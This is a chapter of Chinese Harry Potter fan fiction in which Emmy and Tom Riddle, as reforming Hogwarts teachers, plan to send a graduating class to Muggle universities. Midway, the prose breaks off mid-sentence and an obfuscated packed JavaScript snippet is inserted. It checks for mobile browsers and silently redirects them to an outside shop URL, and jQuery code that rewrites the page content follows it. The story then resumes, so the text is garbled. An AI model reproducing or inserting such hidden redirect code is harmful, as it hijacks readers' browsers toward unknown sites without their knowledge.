第七学年。掠夺者那一届。艾米把茶杯放在他桌上,杯底磕出一声极轻的脆响,
“尖叫棚屋事件之后,西里斯和詹姆被没收了隐形衣和活点地图,魔杖加了强制型限制锁。麦格亲自签的字,福斯特那时候还是魔法法律执行司的副司长,他在听证会上说这两个男孩应该被送去麻瓜货运站清点集装箱,而不是关禁闭。弗雷德和乔治后来每次提到这件事都会说那是他们童年听过的最离谱的官方建议,直到他俩自己开始往麻瓜批发市场运货。”
艾米停了一下,把他桌上那份毕业班名单拿起来翻了翻,放在自己那份刚完成的备忘录最后一页旁边。“那年毕业典礼上,你站在教工长桌最末端。那时候弗立维还在用紫色墨水手写学生评语,斯拉格霍恩把他的圣诞派对名单藏在教案夹层里,邓布利多把新一届级长徽章别在詹姆·波特胸口时对莉莉·伊万斯说‘他可能会迟到但他一定到’。
他们坐在格兰芬多最前排,你讲完最后一堂黑魔法防御术课,西里斯在走廊里堵住你,说他这辈子绝不进魔法部。他要当飞行教练。你说可以,但你需要先去麻瓜货运站把报关单学会。
波特在港口仓库第一次把木料报关单全部填对时,我和你在流转中心加班,把他的成绩归档。那就是第一届实地考察。那时候还没有海关,没有国际魔法阵互认委员会,没有常设委员会教育组,没有任何人敢在官方文件上把‘麻瓜’和‘实地考察’放在同一行标题里。
只有几个刚从学校出来的孩子,藏在麻瓜码头工人中间,学怎么填税号。泰德·唐克斯那时候还没和安多米达结婚,他穿着那件被他爸的旧麻瓜夹克,站在货轮甲板上给西里斯指哪种箱子是出口哪种是转口。西里斯说转口箱的标签格式和他爸书房里的地契编号完全一致。”
艾米说到这里时,把他桌上那份毕业班名单拿起来,用指尖在上面那些名字旁边轻轻画了一道线。“这一届不一样。”
这一届确实不一样。汤姆·里德尔靠在椅背上,把她刚拿来的那份毕业班名单从头到尾扫了一遍。这份名单上的每一个名字他都能背出来。不是因为他记忆力好,而是因为这批学生是他和艾米从第一学年起就一直带在身边的。
那时候里德尔刚回霍格沃茨当助理教授,在开学宴上穿着那件扣到最上面一颗扣子的深灰色教授袍,对着台下这同一批坐在格兰芬多、斯莱特林最前排的孩子们演示了除你武器与对冲力转向之间的衔接推进。他们还是刚满十一岁的孩子,和他刚接手黑魔法防御术课的那个秋天一样,都还是被保密法和古灵阁封锁困在旧规矩里的孩子。
那时候没有低龄部,没有存根,没有国际魔法阵互认委员会,没有海关,没有自治城市,没有任何人敢在课堂上公开讨论麻瓜的狙击枪初速度。
里德尔记得那节课结束后,一个拉文克劳女生举手问他麻瓜的子弹和除你武器有什么本质区别。他说子弹不是魔法,但它的初速度比任何已知的缴械咒都快。那个女孩下课后在走廊里追上他,说她想去麻瓜图书馆查一下初速度的公式。
那是里德尔第一次在自己的教授生涯中遇到一个学生用“公式”这个词。不是“咒语”,不是“魔药配方”,是公式。
那个女孩后来在三年级麻瓜事务综合研究课上写了第一篇关于麻瓜天文学与魔法星象阵的对比论文,在五年级时帮弗立维把国际魔法阵互认委员会第一批联合巡查数据按纬度重新排序,在七年级时独立完成了那篇被北欧联络员亲自引用进极地站点恒温养护阵年度报告的地理坐标校准研究。
而现在这份名单上不止她一个。
那个从四年级起就在多丽丝货运站跟埃德加学三式记账法的赫奇帕奇男生,去年圣诞假期独自完成了从布鲁塞尔转运站到意大利恒温珍珠粉新航线修正图的全部对照工作,被卢修斯·马尔福在家宴上当着一众纯血家主的面称为“那个把马尔福家航线图改得比我家账房更精确的赫奇帕奇”。
那个在五年级生物课上第一个发现布莱克家死亡曲线与孟德尔隐性致病基因比例吻合的斯莱特林女生,去年在全欧魔法交流大会上被瓦加杜古校长邀请去东非做活体符文校准。
那个在四年级时把西里斯·布莱克从安第斯山脉带回来的冻土样本用麻瓜地质学方法重新分类的格兰芬多男孩,去年暑假独自去了一趟蒙古高原,把他在黑湖边老山毛榉树下学到的所有土壤采样方法全部用在了那片从未被任何西方魔法机构标注过的古阵基废墟上。
“他们是我们所有改革的活样本。”艾米把那份名单从他面前拿起来,用指尖在上面几个名字旁边轻轻画了一道线,
“麻瓜事务综合研究课从他们三年级起就是必修。那时候那间教室里还没有物理与数学术语对照表,是我们连夜翻译好贴上去的。他们是我们唯一一批用自己完整七年经历测试了我们每一版低龄部课程大纲的学生。他们入学时保密法还在,毕业时全欧洲的纯血家族都在排队做遗传咨询。他们见过古灵阁断供,见过对角巷退烧药用存根换,见过西里斯·布莱克在对角巷公告墙上贴大字报,见过塞尔温老夫人拆开侄子的遗信,见过格林德沃把旧结界图从纽蒙迦德寄回来当城墙。他们是我们教出来的第一批孩子。现在这些孩子要毕业了。你打算让他们做什么?去魔法部排队填表格?去古灵阁清算旧账?还是去庄园帮父母种流液草,像他们祖祖辈辈那样?”
艾米把那份毕业班名单放在他面前,翻开自己面前那沓被写了又改、改了又写的草案,用一种在流转中心柜台后面核对最后一批当日存根时特有的平稳语调说:
“我想让他们去麻瓜大学。不是短期旁听,不是躲在麻瓜同学背后假装哑炮,是正式申请,拿到麻瓜高等教育机构的正式录取,去和那些和我们完全不同的同龄人坐在同一间教室里考同样的试。”
里德尔把那份名单从头到尾重新看了一遍,拿起红墨水笔,在几个名字旁边画了圈。那个拉文克劳女生的名字旁边已经被他用红墨标注过很多次。
第一次是在她三年级那篇关于初速度公式的论文上,第二次是在她五年级帮弗立维整理联合巡查数据时,第三次是在她七年级那篇被北欧联络员引用的地理坐标校准研究扉页。“你觉得他们愿意去?”
艾米从文件夹里抽出一份被反复折叠又展开的课堂随笔。那张纸的边缘已经磨出了毛边,上面是那个拉文克劳女生在三年级第一堂麻瓜事务综合研究课上用铅笔写的几行字:
“我想看看麻瓜是怎么研究星星的。不是占星,不是星象阵,是用光谱仪和望远镜,是用数学公式算出来的。我在一本从丽痕书店地下室捡到的旧麻瓜天文学教材上看到过一张照片,那是一个叫哈勃的麻瓜望远镜拍出来的。那些星星的颜色比任何星象阵都多。”
艾米在旁边画了一颗歪歪扭扭的星星,画完又擦掉,在星星旁边重新画了一只同样歪歪扭扭的猫。艾米在那只猫旁边画了另一只猫。“所以她一定会去。”
艾米把那份课堂随笔重新折好放回文件夹,然后把自己和庞弗雷夫人联合整理的那套申请材料模板放在里德尔桌上。
这份模板包含专为霍格沃茨毕业生设计的标准化成绩换算表。由埃德加用他改良过的委员会标准索引逐条校对,每一门魔法课程的成绩都按国际魔法教育标准互认框架下的统一学分换算公式转化为麻瓜大学可读的等效学分;一份由常设委员会教育组正式签发的委员会认证函。
函末有里德尔本人的签名和那道被所有成员国海关出入境门框识别了不知多少次的蛇形标记;以及一套适用于所有加入互认框架的魔法学校毕业生的完整申请指南。“金斯莱部长上周就批准了。内阁特别魔法事务办公室已经把第一批预审通过的大学名单发到我们桌上。”
那个数年前由麻瓜政府与魔法部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580881|204472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
联合成立、常设在首相办公室与魔法部之间的内阁办公室,对外身份是“苏格兰北方特殊地理区域合作办事处”,对所有常规内阁部门保密。它像一道被双向触发膜包裹的桥,一头连着唐宁街十号,一头连着常设委员会秘书处的加密通讯频段。
去年金斯莱上任后第一件事就是把自己在傲罗指挥部最信任的安全备案流程直接搬到这里:所有麻瓜相关事务的审批权限全部集中,不再经过中间各部门层层转发;麻瓜事务与物品管理司正式将外源计划进口编码设为贸易处自身标准,同时承担对麻瓜技术的引进、展品审批与检测;
国际魔法合作司新设一个专门负责委员会之间所有技术协议与教育合作事务的固定岗位,由埃德加亲自担任联络人。金斯莱在委任埃德加时对他说过一句话:“这次要把毕业生送进大学。文件你先审。”
数周后,首批麻瓜大学申请材料正式提交前一晚,金斯莱·沙克尔在唐宁街十号侧厅和内阁特别魔法事务办公室主任就双向教育交流协议及魔法界留学生身份认定条款逐条做了确认。
福斯特通过新拿到手的魔杖安全锁便携终端远程致信,说:“幸好我的辞职信没有白写。如果这份协议提早一两年起草,那时候连一份可以让霍格沃茨毕业生合法出入唐宁街侧厅的临时通行证都没有,连一个能让埃德加用三式记账法核对学历认证的公开标准都没有,连首相办公室都不知道该怎么在备忘录开头称呼常设委员会。”
金斯莱说:“首相办公室那边的批复已经在路上了,附注栏里只有一行字:“请代为转达首相本人对格林特教授及其团队多年来在麻瓜与魔法教育互认领域所做贡献的感谢。他说他很遗憾没能亲自参加贵校低龄部第一堂生物学启蒙课——他小时候也种过豌豆。”
里德尔靠在他那把旧木椅的椅背上,把她刚放在他桌上的那份预审名单从头翻到尾,拿起红墨水笔在末尾补了一行字。他建议把首批学员派往爱丁堡、伦敦与剑桥三地的麻瓜大学,将地理选修课的野外观测日志与极地航线记录纳入招生材料,之后在海关边境处与学生本人及其家属共同完善家属登记。
里德尔签完字后把名单推回她手边,抬起眼看着艾米:“你让他们的下一代不会在同一个年龄上再遇到同一种限制。这一代七年级是最后一批十一岁入学的一年级。他们毕业之后,以后所有孩子都是六岁入学。等这批毕业生在麻瓜大学真正站稳脚跟,低龄部的生物课将来会有新的见习教师。而我们讨论这件事的会议室,会变得很挤。”
艾米把他桌上那份刚签完字的名单拿起来,翻到那几页被各国代表用不同语言写满批注的空白处,随手拿起自己那只画歪猫的杯子喝了一口已经凉掉的姜茶。
艾米提起泰德上次说诊所淘汰下来的旧牙科模型本周就能全部整理完。
庞弗雷夫人昨天已经带着她的实习治疗师逐箱检查过了,说比上一批更适合做触觉辨识教具,尺寸更小,表面纹理更清晰,边缘没有需要额外打磨的毛刺。她说完把杯底那行釉下蓝字对着他晃了晃,转回流转中心档案架之间,把新到的申请人资料按字母顺序重新排列。
窗外老山毛榉树的无线电脉冲仍在缓缓旋转,树下那圈獾形纹痕被新长出来的春苔衬得隐隐泛着金属灰。尼法朵拉昨晚用荧光粉笔在护栏上新画了一颗星星,旁边用更小的字写着:“等他们回来。”那颗星星紧挨着那颗标注了“孟德尔的豌豆,布莱克家的星星”的银绿色星星,和那行被反复描过的“等我们长大”之间只隔了一道极细的粉笔痕。
下学期那间新挂上“国际魔法教育标准互认框架下毕业生继续教育咨询室”门牌的旧教室将迎来第一批坐在里面填写麻瓜大学申请表的学生。流转中心靠窗那张旧木桌上,将摆着一只被挪到埃德加原来那台笔记本旁边的旧铅笔盒。铅笔盒里还放着多年前那个拉文克劳女生一年级时画歪猫的那支铅笔。